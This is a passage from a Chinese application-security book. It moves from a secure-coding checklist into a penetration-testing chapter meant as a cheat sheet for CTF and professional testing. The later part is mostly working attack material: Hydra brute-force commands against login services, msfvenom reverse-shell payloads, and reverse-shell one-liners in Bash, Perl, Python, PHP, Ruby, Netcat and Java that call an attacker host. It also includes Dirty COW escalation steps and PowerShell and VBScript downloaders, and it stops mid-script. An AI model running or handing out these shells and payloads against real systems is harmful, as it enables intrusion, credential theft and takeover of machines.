大多数情况下,在 CI 集成过程中,你将协助项目团队评估误报。安全冠军将在 SAST 门户中提交需求,并等待你的批准,将其标记为误报。扫描工具并不完美,可能会出现许多问题。你的角色是始终支持开发团队,并确保将扫描器本身的任何漏洞报告给产品供应商。|
如果你的雇主要求你评估一个 SAST 扫描器,我建议你查看 Gartner 榜单上最好的扫描器,并自行进行测试。带上多个应用程序并进行扫描。之后,将每个扫描器找到的漏洞与误报进行比较;不要盲目假设 Gartner 选择的扫描器就一定是正确的,而不亲自测试它们。|
安全编码检查清单|
我写这本书是为了让你在职业生涯中能够每天使用一本应用安全“圣经”。我希望这本书尽可能包含实际场景,例如本节中提到的检查清单。填充文字不是我的风格——我喜欢行动(快速引用:“没有行动的规划只是空想”),接下来的检查清单包含了直截了当的规则,既可以作为开发人员的安全指南,也可以作为你手动检查源代码时使用的检查清单:|
身份验证和凭证管理:|
| ** √ ** | 身份验证凭证必须使用 TLS,而非 HTTP 明文传输。 |
|---|---|
| √ | 除了公开页面外,所有页面必须强制执行身份验证。 |
| √ | 错误信息(如在登录页、重置密码页和注册页)不应导致信息泄露(例如,在用户名无效的情况下)。 |
| √ | 必须在服务器端验证身份验证逻辑。 |
| √ | 身份验证密码必须在安全哈希算法下保存(避免使用 MD5 或 SHA1),并建议使用盐值。 |
| √ | 密码的哈希逻辑必须在服务器端。 |
| √ | 在最终用户完成所有数据输入后,验证身份验证数据。 |
| √ | 如果应用程序与第三方 Web 服务交互,必须确保对这些服务和端点的身份验证。 |
| √ | 与第三方 Web 服务交互的身份验证凭证应加密,且不得以明文形式存储(检查配置文件;开发人员通常会把它放在这里)。 |
| √ | 强制执行政策或法规中规定的密码复杂度/长度要求。使用以下常见最佳实践: |
-
至少为 10 个字符
-
至少包含一个大写字母
-
至少包含一个特殊字符
-
至少包含一个数字
|
| √ | 确保所有密码字段在输入密码时不回显用户密码,并且密码字段禁用自动完成。 |
|---|---|
| √ | 密码重置问题应支持足够随机的答案(例如,你最喜欢的颜色是什么是一个糟糕的问题,因为红色是一个非常常见的答案)。 |
| √ | 如果使用基于电子邮件的重置,仅向预先注册的地址发送包含临时随机链接/密码的电子邮件(短期有效期)。 |
| √ | 临时密码必须在下一次使用前更改。 |
| √ | 当用户更改或重置密码时,通过电子邮件或短信通知用户。 |
| √ | 在多次登录失败后强制禁用账户(五次尝试是常用限制)。账户必须被禁用足够长的时间,以阻止暴力破解凭证,但又不能禁用得太久,以免造成拒绝服务攻击。 |
| √ | 在执行关键操作前重新认证用户。 |
| √ | 对于高度敏感或高价值的交易账户,必须使用多因素身份验证。 |
| √ | 禁用密码字段的记住我功能。 |
授权与访问控制:
| √ | 授权必须在服务器端开发。 |
|---|---|
| √ | 如果应用程序无法访问其安全配置数据(例如,无法连接到数据库),则拒绝所有访问。 |
| √ | 每个网页请求(例如,Web API 端点)必须存在授权。 |
| √ | 文件(例如源代码、配置文件)和资源(包括受保护的 URL 和 Web 服务)的访问必须限制为管理员;只有管理员可以访问这些资源。 |
| √ | 如果授权数据必须存储在客户端,则必须加密该数据。 |
| √ | 使用Referer头作为额外的检查,但要小心不要依赖它,因为它可能被伪造。 |
| √ | 操作系统/应用服务账户应当具有最小权限。 |
| √ | 仅授权以下 HTTP 方法:GET、POST、PUT和DELETE。 |
| √ | 提交授权变更到服务器后,确保立即应用这些更改,并强制用户退出应用程序。 |
会话管理
| √ | 会话必须在服务器端进行管理。 |
|---|---|
| √ | 会话标识符(会话 ID)必须是随机的(黑客不应能够预测它)。 |
| √ | 登出功能应完全终止会话,并且应该在所有已认证的页面上可用。 |
| √ | 在无操作后设置会话超时。为了正确计算超时周期,你需要计算该资源的安全风险。 |
| √ | 不要将会话 ID 放入 URL、日志和错误信息中(会话 ID 位于 cookie 头中)。 |
| √ | 为 cookies 设置 secure 属性。 |
| √ | 为 cookies 设置 HttpOnly 属性。 |
加密:
| √ | 任何用于保护数据的加密功能应当在服务器端实现。 |
|---|---|
| √ | 关键数据(例如数据库连接字符串、密码、密钥等)必须加密,不应以明文形式存储。 |
| √ | 加密密钥必须防止未经授权的用户访问(只有超级管理员可以访问)。 |
| √ | 所有生成的随机项目——例如数字、文件名和字符串——必须使用高度加密的随机生成器。 |
| √ | 所有加密算法必须使用最新和最安全的算法。请参考 NIST 组织获取所有所需信息,网址:csrc.nist.gov。 |
输入验证:
| √ | 所有数据验证必须在服务器端进行。 |
|---|---|
| √ | 在验证之前对数据进行编码。 |
| √ | 所有验证失败的情况应当在自定义错误信息中被拒绝。 |
| √ | 验证应当应用于所有后台处理的内容,包括隐藏的表单值、URL 和头信息(不应仅限于表单输入)。 |
| √ | 危险字符,如 <>" ' % () & + \ /,应当进行验证。你还应验证以下内容:
-
空字节 (%00)
-
新行(\r,\n,%0d,%0a)
-
点点斜杠(../ 或 ..\)
|
| √ | 确保源代码中没有硬编码的 SQL 查询。 |
|---|---|
| √ | 在将输入字符串传递给 copy 和 concatenation 函数之前,应将其截断到合理的长度。 |
输出编码:
| √ | 所有输出编码逻辑必须在服务器端进行。 |
|---|---|
| √ | 对所有来自不可信数据的输出进行清理,防止 SQL、XML、LDAP 和操作系统命令注入。 |
日志记录与错误处理:
| √ | 不要在错误信息中透露敏感信息,包括调试信息,如堆栈跟踪。 |
|---|---|
| √ | 使用自定义的错误信息和错误页面。 |
| √ | 日志控制必须在服务器端执行。 |
| √ | 无论成功还是失败,日志事件都必须被触发。 |
| √ | 日志数据必须足够清晰,以便能够理解发生了什么。 |
| √ | 如果日志数据依赖于输入,它必须进行清理。 |
| √ | 日志记录功能必须集中管理,在同一个类或模块中。 |
| √ | 确保你记录以下事件:
-
验证失败
-
身份验证尝试
-
授权失败
-
篡改事件(例如,URL 操作用于 SQL 注入)
-
使用无效或过期的会话
-
所有管理功能
-
加密模块失败
-
来自特定国家的访问
-
高频率的网页请求
|
| √ | 当出现异常时,你需要能够安全退出该功能。 |
|---|---|
| √ | 错误或监控日志不应保存在同一服务器上,以避免 DOS 攻击(通过填满磁盘驱动器的随机数据)。 |
数据保护:
| √ | 临时敏感数据(例如缓存或传输文件)必须存储在安全位置,并且必须尽快清除这些数据。 |
|---|---|
| √ | 删除源代码中的注释,避免泄露有关应用程序的关键信息。 |
| √ | 确保保护 Web 服务器上的文件,且仅客户端能够访问预定的文件。保护配置文件、备份文件、部署脚本(或任何脚本)、不公开的文档、临时文件和任何包含机密信息的文件。 |
| √ | 敏感信息不应出现在 URL 查询字符串中。 |
禁用处理机密信息的页面缓存。使用 Cache-Control:no-store 和 Pragma:no-cache。 | |
| √ | 传输中的数据必须使用最新最强的 TLS 算法加密。 |
| √ | 小心使用 HTTP 引荐,处理外部域名时特别注意。 |
杂项:
| √ | 确保在部署之前删除测试代码(不用于生产环境)。 |
|---|---|
| √ | 避免在 robots.txt 文件中泄露不必要的目录结构。应该创建一个父目录,并将所有隐藏的目录和文件放在其中,而不是在 robots.txt 中禁止每个目录/文件。 |
| √ | 从 HTTP 头中删除任何不必要的信息(例如,操作系统版本、Web 服务器版本和编程框架)。 |
| √ | 如果出于某种原因,应用程序必须提升其权限,确保尽快恢复权限。 |
| √ | 在设计 REST Web API 时,除了 200 表示成功和 404 表示错误之外,你有很多其他错误代码的选择。正确的错误代码有助于正确验证传入的请求。以下是为每个 REST API 状态返回代码提供的一些最佳实践:
-
200 成功:操作成功。
-
202 已接受:创建资源的请求已被接受。
-
204 无内容:POST 请求未包含客户端生成的 ID。
-
400 错误请求:请求格式错误。
-
401 未授权:身份验证 ID 或凭据错误。
-
403 禁止访问:经过身份验证的用户没有权限访问该资源。
-
404 未找到:请求的资源不存在。
-
405 方法不允许:请求中出现了不支持的 HTTP 方法。
-
429 请求过多:当检测到 DOS 攻击时,可能会发生此错误。
|
| √ | 确保以下头部存在: |
-
X-frame-options -
X-content-type-options -
Strict-transport-security -
Content-security-policy -
X-permitted-cross-domain-policies -
X-XSS-protection:1;mode=block -
X-content-type-options:nosniff
|
| √ | 在完成函数并在所有退出点正确释放分配的内存。 |
|---|
文件管理:
| √ | 用户必须在上传任何文件到应用程序之前进行身份验证。 |
|---|---|
| √ | 限制可以上传到应用程序的文件类型。 |
| √ | 通过检查文件头验证上传的文件。仅检查扩展名是不够的。 |
| √ | 上传的文件应保存在与 Web 服务器不同的服务器上。 |
| √ | 仔细检查并验证(或在必要时删除)上传的文件,这些文件将由 Web 服务器执行和解释。 |
| √ | 文件上传服务器必须关闭执行权限。 |
| √ | 上传文件的服务器必须安装防病毒软件和端点安全。 |
| √ | 不要传递目录或文件路径;而是使用映射到预定义路径列表的索引值。绝不在响应中发送完整的绝对路径给客户端。 |
| √ | 网络应用程序的文件和资源必须是只读格式。 |
第三方库:
| √ | 使用校验和来验证从互联网下载的文件(如库和脚本)的完整性。 |
|---|---|
| √ | 确保在应用程序中下载和使用的库是最新的稳定版本。 |
| √ | 使用第三方库扫描器(例如,Sonatype,Blackduck)。 |
概要
静态代码分析是应用安全的支柱之一,我希望你能轻松理解这一章节。如果因为缺乏编程经验而在理解本章概念时遇到困难,不用担心!这是你深入学习编程的好时机。请参阅本章的编程背景部分,了解更多详情。
在下一章中,我们将涵盖所有必要的主题,帮助你从头到尾成功执行网络基础设施安全测试。跟随我,一起深入探索这一令人兴奋的主题吧!
第九章:网络渗透测试
要做好准备——这将是一个庞大的章节!事实上,这一章的内容相当于一本书的内容。为什么呢?因为我希望它能成为你未来职业生涯中的参考资料。网络漏洞评估和渗透测试将是你从事 web 应用安全工作时的主要任务之一。假设你在一个容易受到攻击的操作系统上部署了 web 应用,而且该系统可以从互联网访问——这对一个想要远程获取你公司服务器的黑客来说,简直是圣诞礼物。
市面上大多数关于互联网安全的书籍都会讨论这个话题(使用 Kali Linux 进行渗透测试),所以我问自己,在写这章之前,我如何将它用于自己的日常安全测试呢? 我希望它尽可能对你有用,这样你就可以在实践中应用它,用于你的日常工作以及渗透测试认证。
你可以将这一章和下一章作为作弊手册,来练习你的渗透测试技能。你可以通过下载易受攻击的虚拟机并尝试利用它们,来提升你的黑客技能,这种方法称为Capture the Flag(CTF)。下载这些虚拟机的一个好网站是:www.vulnhub.com。
本书面向中级至高级的专业人士,旨在帮助他们增强和深化知识。如果你觉得本章的信息量庞大且不清晰,我建议你观看一些关于渗透测试的初学者在线课程。
让我们直接开始本章内容,以下是将要涵盖的主题:
-
被动信息收集
-
服务枚举
-
网络漏洞评估
-
漏洞利用
-
权限提升
被动信息收集 – 侦察 – OSINT
在渗透测试开始的第一步,你需要被动地收集关于目标公司范围的信息。为了完成这个任务,你将使用网络以及一些后台自动调用网络的工具。这个阶段也被称为收集开放源代码情报(OSINT)。OSINT 指的是从互联网上收集的信息。安全专业人员还称这一阶段为侦察。说实话,它们指的都是同一任务,但你需要知道在描述这个阶段时使用的不同术语。
如果你的目标是外部的 web 应用(无论是客户的目标,还是你所在组织的目标),那么你可以执行信息收集阶段,但如果你的目标是一个内网或一个尚未部署到生产环境的新网站,那么 OSINT 就没有用处,除非你的客户(或上司)单独要求你进行这项任务。
信息收集,或称为 OSINT,通常从对目标在线存在的网络研究开始。
您将使用公开信息收集以下内容:
-
公司信息,包括以下内容:
-
位置和地址
-
电子邮件地址(例如,
support@yourclientdomain.com) -
其他收购的公司(双向—可能是您的客户被另一家公司收购,或反之亦然)
-
域名(DNS)
-
企业类型(银行、保险、零售等)
-
公司结构
-
公司的博客文章
-
公司的社交网络数据
-
网页上的缓存内容
-
信息泄露(例如,密码、客户 PII 或任何不应公开的敏感信息)
-
-
员工信息,包括以下内容:
-
姓名
-
电子邮件地址
-
电话号码
-
公司内部的职位(例如,IT 经理、QA 工程师等)
-
社交网络数据
-
-
Web 应用程序信息收集,包括以下内容:
-
在数据泄露网站上发现基于 Web 的漏洞
-
网页爬取
-
使用的编程语言(例如 PHP、Java 或.NET)
-
使用 Burp 进行被动扫描(我们将在下一章中详细讨论此主题)
-
一个好的起点是目标网站。在这里,您可以找到上述大部分信息。
网络搜索引擎
不要只使用 Google 作为您的在线研究唯一搜索引擎(仅输入目标的公司名称或域名即可获得搜索结果)。还有其他强大的搜索引擎,包括以下内容:
-
中文搜索引擎:
www.baidu.com -
俄罗斯搜索引擎:
yandex.com -
常见的流行搜索引擎:
www.duckduckgo.com
您还可以使用 TOR 网络进行暗网和深网搜索(请小心使用这些搜索引擎,因为此技术仍在发展中):
-
Onion.City:
onion.link/ -
Not Evil:
hss3uro2hsxfogfq.onion.to/ -
Onion.To:
tor2web.org/ -
Duck Duck Go:
3g2upl4pq6kufc4m.onion/
要连接到暗网,首先连接到 VPN,然后使用 TOR 浏览器连接到 TOR 网络。
Google 黑客数据库 – Google dorks
Google 允许我们渗透测试人员按需查询其搜索引擎,以揭示有关目标的敏感信息。查找所有有趣查询的参考资料可以在 Exploit-DB 网站上找到,网址为:www.exploit-db.com/google-hacking-database/。
在 Google 上能搜索什么?使用 Google dorks,您可以查询搜索引擎以完成以下操作:
-
在 Web 服务器上获取立足点
-
揭示敏感目录
-
搜索易受攻击的文件
-
搜索易受攻击的服务器
-
揭示冗长的错误信息
-
搜索目标网络的漏洞数据
-
搜索属于目标的各种设备(例如,IP 摄像头)
-
获取 Web 服务器信息
-
搜索包含凭证(用户名或密码)和机密信息的文件
-
搜索登录页面(或管理员页面)
以下是一些最流行的 Google dork 查询:
-
搜索域名/子域名:
site [目标域名] -
搜索文件:
filetype [文件扩展名] -
在 URL 中搜索字符串:
inurl [搜索标准在 URL 中] -
在标题中搜索字符串:
intitle [搜索标准在标题中]
记住,你可以将多个查询组合在一起,以获得期望的结果。
在线工具
互联网中有一些不错的网站可以添加到你的工具库中:
-
探索服务器和物联网设备的在线漏洞:
www.shodan.io -
获取泄露的已发布信息:
www.pastebin.com -
文本和源代码泄漏:
github.com -
在线瑞士军刀工具:
www.dnsstuff.com -
查找目标网站的有趣信息:
Kali Linux 工具
Kali Linux 包含许多用于信息收集的工具。有些工具可能会从 Kali 的仓库中移除,因此不会默认安装。我列出的大多数工具可以通过 GitHub 下载或简单的 Google 搜索找到(以防它们将来从 Kali Linux 发行版中移除)。另一个选择是通过你的终端窗口使用apt-get install命令来安装所需的工具。
WHOIS 查询
每个域名都在公共 WHOIS 数据库中注册。根据查询的数据库,WHOIS 请求的响应将揭示很多有价值的信息,包括以下内容:
-
名称
-
电话号码
-
电子邮件地址
-
物理地址
-
域名到期日期
-
DNS 服务器
示例:
whois domain-name.com
域名系统 - DNS 枚举
DNS 枚举将揭示有关目标的域名和分配给它的 IP 地址的信息,以及我们与最终目的地之间的路由。
总结来说,域名系统(DNS)是一个数据库,将域名(例如,google.com)解析为其 IP 地址(172.217.10.46)。
你将使用 DNS 信息的原因如下:
-
确定 DNS 服务器是否允许区域传输。如果允许,它将揭示可通过互联网访问的系统的主机名和 IP 地址。
-
通过使用暴力破解的方法,该工具允许我们识别与目标关联的新域名或子域名。
-
查找可能存在漏洞的服务(例如,FTP)。
-
查找有趣的远程管理面板。
-
查找配置错误和/或测试服务器(
test.domain-name.com)。
工具/示例:
dnsenum domain-name.com
fierce -dns domain-name.com
dnsrecon -w -d domain-name.com -t axfr
-w: will perform a deep whois analysis
-d: target domain name
-t: type of enumeration
axfr: Test all NS servers for a zone transfer
收集电子邮件地址
theharvester 脚本是一个 Python 工具/脚本,用于通过流行的搜索引擎搜索电子邮件地址和域名。
示例:
theharvester -d domain-name.com -l 500 -b google -h
-d: is for the domain name
-l: in this case to limit the number of results to 100
-b: stands for the datasource, in this case we have chosen google but you have more options like (google,bing,bingapi,pgp,linkedin,google-profiles,people123,jigsaw,all)
-h: will use the SHODAN database to query the discovered hosts
主动信息收集 – 服务枚举
这个阶段主要是识别活跃主机及其上运行的服务。记住,在这个阶段,我们仍然在收集信息,用以了解我们的目标。一些企业环境中的人只是跳过这一步,直接执行高级扫描器进行漏洞评估,如 Nessus 或 Nexpose。我个人不喜欢这种做法,除非你的测试预算有限(这总比什么都不做好)。
这个阶段有四个步骤:
-
从客户或雇主那里获取 IP 地址/范围(如果是内部项目,项目经理会提供帮助)
-
识别活跃主机
-
列出每个主机上的开放端口/服务
-
对每个服务进行更多信息探测
请查看附录 A、B、C、D 和 E,了解渗透测试参考资料。
识别活跃主机
接下来,您将确定主机是否在线运行,或者是否受防火墙保护。我最喜欢用于这个阶段(以及后续阶段)的工具是 Nmap。我强烈建议您熟悉 Nmap。以下命令启动 Nmap 和另一个有用的主机标识工具:
- Nmap ping 扫描:
nmap -sn [IP Address / range]
- 另一个工具,Netdiscover:
netdiscover -r [IP Address / range]
识别开放端口/服务
快速 ping 扫描后,我们还可以利用我们的方法揭示开放的端口和服务。我们还将使用 Nmap 脚本来探测每个服务,使用以下命令:
- TCP 扫描 - 内网:
nmap -sS -sV -sC -sV --version-all -O --osscan-guess -T4 --reason --open -p- -Pn -v [IP address / range]
- UDP 扫描 - 内网:
nmap -sU --top-ports 1000 -Pn -v [IP address / range]
- TCP 扫描 - 来自互联网(外部边界):
nmap -sS -T2 --top-ports 1000 -Pn -v [IP address / range]
- UDP 扫描 - 来自互联网(外部边界):
nmap -sU --top-ports 100 -Pn -v [IP address / range]
请查看 附录 A,获取 Nmap 的备忘单。
服务探测和枚举
在前一步中,我们使用 Nmap 脚本快速探测了我们发现的每个服务。在此步骤中,我们将把这些信息带入下一步,并尝试更具攻击性地探测。我们将在以下示例中使用的 Nmap 脚本既非常激进又非常耗时:
-
端口 TCP 21 – FTP:
- Nmap 脚本探测:
nmap -sV -p 21 -Pn -T5 --host-timeout 15m --script=ftp* -v [IP address]
-
- 凭证暴力破解:
hydra -t 10 -V -f -L [users dic file path] -P [passwords dic file path] ftp://[IP address]
-
端口 TCP 22 – SSH:
- Nmap 脚本探测:
nmap -sV -p 22 -Pn -T5 --host-timeout 15m --script=ssh* -v [IP address]
-
- 凭证暴力破解:
hydra -t 10 -V -f -L [users dic file path] -P [passwords dic file path] ssh://[IP address]
-
端口 TCP 23 – Telnet:
- Nmap 脚本探测:
nmap -sV -p 23 -Pn -T5 --host-timeout 15m --script=telnet* -v [IP address]
-
- 凭证暴力破解:
hydra -t 10 -V -f -L [users dic file path] -P [passwords dic file path] telnet://[IP address]
-
端口 TCP 25 – SMTP:
- Nmap 脚本探测:
nmap -sV -p 25 -Pn -T5 --host-timeout 15m --script=smtp* -v [IP address]
-
- 连接到服务器并执行 VRFY 命令:
telnet [IP] 25
Then execute the command once connected:
VRFY [user] (e.g. VRFY John)
-
端口 TCP/UDP 53 – DNS:
- Nmap 脚本探测:
nmap -sV -p 53 -Pn -T5 --host-timeout 15m --script=dns* -v [IP address]
-
端口 TCP 80 – HTTP:
- Nmap 脚本探测:
nmap -sV -p 80 -Pn -T5 --host-timeout 200m --script=http* -v [IP address]
-
- 使用 Nikto 探测:
nikto -host http://[IP address]
-
- 使用 WhatWeb 探测:
whatweb [IP address]
-
- 目录爬行:
gobuster -u http://[IP address]-w /usr/share/wordlists/dirb/common.txt -s '200,204,301,302,307,403,500' -e
-
端口 TCP 110 – POP3:
- Nmap 脚本探测:
nmap -sV -p 110 -Pn -T5 --host-timeout 15m --script=pop3* -v [IP address]
-
端口 UDP 137、138,TCP 端口 137、139 – Netbios & TCP 445 – Samba(SMB):
- Nmap 脚本探测:
nmap -sV -p 139,445 -Pn -T5 --host-timeout 200m --script=smb* -v [IP address]
-
- 使用 Enum4Linux 探测 SMB:
enum4linux -a [IP address]
-
- 使用 nmblookup 探测 SMB:
nmblookup -A [IP address]
-
- 使用 nbtscan 探测 Netbios:
nbtscan -r [IP address]
-
- 列出 SMB 共享:
smbclient -L [IP address] -N
-
- 连接到共享目录:
smbclient //[IP address]/[Shared directory]
-
端口 UDP 161 – SNMP:
- Nmap 脚本探测:
nmap -sV -p 161 -Pn -T5 --host-timeout 15m --script=snmp* -v [IP address]
-
- 枚举 MIB 树:
snmpwalk -c public -v1 [IP address]
-
- 使用 snmp-check 工具探测 SNMP:
snmp-check -t [IP address]
-
端口 TCP 389 – LDAP:
- Nmap 脚本探测:
nmap -sV -p 389 -Pn -T5 --host-timeout 15m --script=ldap* -v [IP address]
-
端口 TCP 443 – HTTPS/SSL:
- Nmap 脚本探测:
nmap -sV -p 443 -Pn -T5 --host-timeout 15m --script=ssl* -v [IP address]
-
端口 TCP 1433 – Microsoft SQL Server (MSSQL):
- Nmap 脚本探测:
nmap -sV -p 1433 -Pn -T5 --host-timeout 15m --script=ms-sql* -v [IP address]
-
- 暴力破解凭据:
hydra -t 10 -V -f -L [users dic file path] -P [passwords dic file path] mssql://[IP address]
-
端口 TCP 3306 – MySQL:
- Nmap 脚本探测:
nmap -sV -p 3306 -Pn -T5 --host-timeout 15m --script=mysql* -v [IP address]
-
- 暴力破解凭据:
hydra -t 10 -V -f -L [users dic file path] -P [passwords dic file path] mysql://[IP address]
-
端口 TCP/UDP 3389 – 远程桌面协议 (RDP):
- Nmap 脚本探测:
nmap -sV -p 3389 -Pn -T5 --host-timeout 15m --script=rdp* -v [IP address]
-
- 暴力破解凭据:
hydra -t 10 -V -f -L [users dic file path] -P [passwords dic file path] rdp://[IP address]
漏洞评估
在上一节中,我们对服务进行了激进的枚举。一些 Nmap 脚本将检查漏洞——例如,当输入选项 --script=http* 时,Nmap 将执行所有 HTTP 脚本,包括那些检查漏洞的脚本,例如 http-vuln-cve2010-2861。
实际上,在企业环境中,我们会使用自动化扫描工具,通常是 Nessus 或 Nexpose。如今,这些公司也提供云端扫描服务——例如,Nexpose 的云端版本叫做 InsightVM。我们在很大程度上依赖这些扫描工具来识别网络基础设施中的漏洞。你的角色是获取扫描结果并确认这些漏洞确实存在——换句话说,就是确保它们不是误报。
OpenVas
如果你想练习漏洞评估怎么办?你可以安装并使用一个免费的漏洞评估工具,叫做 OpenVas。要在 Kali Linux 上安装它,访问 www.kali.org/penetration-testing/openvas-vulnerability-scanning。
安装 OpenVas 时,别忘了保存生成的密码。通常,密码会在安装的最后一步显示。
使用 OpenVas 扫描 IP 地址或范围,执行以下步骤:
-
确保 OpenVas 服务已经通过
$ service openvas-manager start启动。 -
使用
firefox https://127.0.0.1:9392在浏览器中打开它。 -
输入默认用户名
admin和在安装过程中为你生成的密码。 -
在菜单中,选择“配置”选项卡,然后选择“目标”。
-
点击“新目标”按钮(按钮图标是一个蓝色星星,通常位于屏幕的左上角)添加新目标。
-
在新的目标窗口中,确保填写以下内容:
-
目标名称
-
IP/范围
-
端口列表
-
-
保存目标后,选择“扫描”菜单并点击“任务”项。
-
使用“新任务”按钮(蓝色星星图标)添加任务。
-
确保为任务选择以下选项:
-
名称
-
指定之前创建的目标
-
选择正确的扫描配置
-
-
创建任务后,它应该出现在任务主页面。
-
在“操作”列下,点击“开始”按钮(一个绿色的播放图标)。
-
扫描器将在任务完成时在报告栏中显示“完成”状态。
-
在报告栏下,点击链接以显示漏洞结果。
在开始利用阶段之前,我建议你先熟悉一下 Metasploit。查看附录 B以获取 Metasploit 的完整备忘单。
利用漏洞
利用阶段是通过利用目标机器上的漏洞并获得远程 Shell 来完成的。就是这么简单,没错吧?我们开始吧。
查找漏洞
一般来说,99%的情况下,漏洞扫描器会告诉你在哪里可以找到漏洞,方便你从自己这边进行复现。以下是大多数漏洞的来源:
-
Google 一下——听起来简单,但这是我最喜欢的方法
-
Exploit-db网站www.exploit-db.com -
Kali Linux 中的 searchsploit 工具
-
Metasploit——使用
search命令找到它 -
Security Focus 网站
www.securityfocus.com -
有时你会在 GitHub 上找到它们,网址是
www.github.com
监听器设置
在上传并执行有效载荷之前,你需要在 Kali Linux 上设置并执行一个监听器。
要使用Metasploit创建监听器,请输入以下命令:
use exploit/multi/handler set PAYLOAD [msfvenom Payload name] set LHOST [Kali IP address] set LPORT [Listening port on Kali] set ExitOnSession false exploit -j -z
要使用netcat创建监听器,请使用以下命令:
nc -nlvp [listening port on Kali]
使用 msfvenom 生成 Shell 有效载荷
现在我们来讨论如何在不同平台上使用msfvenom生成 Shell 有效载荷:
- Linux:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=[Your Kali IP Address] LPORT=[Your Listening Port on Kali] -f elf > linux_shell.elf
- Windows:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=[Your Kali IP Address] LPORT=[Your Listening Port on Kali] -f exe > windows_shell.exe
- macOS:
msfvenom -p osx/x86/shell_reverse_tcp LHOST=[Your Kali IP Address] LPORT=[Your Listening Port on Kali] -f macho > mac_shell.macho
- PHP:
msfvenom -p php/meterpreter/reverse_tcp LHOST=[Your Kali IP Address] LPORT=[Your Listening Port on Kali] -f raw > php_shell.php
如果你使用php/reverse_php,那么打开msfvenom生成的输出文件,使用编辑器在脚本的开始加上<?php,并在末尾加上?>。
- ASP:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=[Your Kali IP Address] LPORT=[Your Listening Port on Kali] -f asp > asp_shell.asp
- JSP:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=[Your Kali IP Address] LPORT=[Your Listening Port on Kali] -f raw > jsp_shell.jsp
自定义 Shell
如果你不想使用msfvenom,你可以创建你自己的自定义 Shell。这里有一些示例:
- Bash
bash -i >& /dev/tcp/[Your Kali IP Address]/[Your Listening Port on Kali] 0>&1
在以下示例中,我假设我的 Kali IP 是10.1.1.100,监听端口是4444。
- PERL
perl -e 'use Socket;$ip="10.1.1.100";$prt=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($prt,inet_aton($ip)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
- Python
python -c 'import socket,subprocess,os;skt=socket.socket(socket.AF_INET,socket.SOCK_STREAM);skt.connect(("10.1.1.100",4444));os.dup2(skt.fileno(),0); os.dup2(skt.fileno(),1); os.dup2(skt.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
说到 Python,如果你获得了远程 Shell,可以使用python -c 'import pty; pty.spawn("/bin/sh")'来生成 TTY Shell。
- PHP
php -r '$sock=fsockopen("10.1.1.100",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
- Ruby
ruby -rsocket -e'f=TCPSocket.open("10.1.1.100",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
- Netcat
nc -e /bin/sh 10.1.1.100 4444
- Java
rt = Runtime.getRuntime()
pc = rt.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.1.1.100/4444;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
pc.waitFor()
权限提升
利用漏洞后,大多数情况下你将获得一个有限的 Shell。下一步是获取受害者机器上的管理员账户。为此,你需要选择以下方法之一:
-
将文件传输到受害者机器,以便获得 Root Shell(例如,Dirty COW)
-
复制粘贴适用于 Windows 操作系统的 PowerShell 有效载荷(例如,Empire PowerShell)
-
使用 Metasploit/Meterpreter 提升权限(参见附录 B)
-
手动搜索配置错误的参数,以便获得管理员/Root Shell
文件传输
让我们来看一个实际场景。假设你刚刚获得了受害者机器的有限 Shell,你知道操作系统是 Linux,并且想要将Dirty COW上传到远程服务器并执行。以下是这种方法的步骤:
-
将
Dirty COW二进制文件复制到目标 HTTP 目录,路径为/var/www/html。 -
使用
$service apache2 start启动 Web 服务器。 -
通过受限 shell 使用以下命令将文件下载到受害者的机器上(我将文件下载到
/tmp目录):-
cd /tmp -
$wget [http://Kali IP 地址/文件名]
-
那么如果我想将文件传输到 Windows 机器呢?为此,我需要使用 PowerShell,如以下部分所示。
使用 PowerShell
在你的受限 shell 中执行以下命令来创建脚本:
echo $storageDir = $pwd > wget_win.ps1
echo $webclient = New-Object System.Net.WebClient >>wget_win.ps1
echo $url = "http://[kali IP]/file name" >>wget_win.ps1
echo $file = "get-admin.exe" >>wget_win.ps1
echo $webclient.DownloadFile($url,$file) >>wget_win.ps1
我选择了文件名get-admin.exe。你不必使用相同的名字;你可以使用任何你喜欢的名字。
接下来,使用powershell.exe执行脚本:
powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget_win.ps1
使用 VBScript
对于没有 PowerShell 的旧版 Windows,我们将使用 VBScript。第一步是创建脚本。然后,我们可以使用cscript命令执行它:
echo strUrl = WScript.Arguments.Item(0) > wget_win.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget_win.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget_win.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget_win.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget_win.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget_win.vbs
echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget_win.vbs
echo Err.Clear >> wget_win.vbs
echo Set http = Nothing >> wget_win.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget_win.vbs
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget_win.vbs
echo If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >> wget_win.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget_win.vbs
echo http.Open "GET", strURL, False >> wget_win.vbs
echo http.Send >> wget_win.vbs
echo varByteArray = http.ResponseBody >> wget_win.vbs
echo Set http = Nothing >> wget_win.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget_win.vbs
echo Set ts = fs.CreateTextFile(StrFile, True) >> wget_win.vbs
echo strData = "" >> wget_win.vbs
echo strBuffer = "" >> wget_win.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget_win.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget_win.vbs
echo Next >> wget_win.vbs
echo ts.Close >> wget_win.vbs
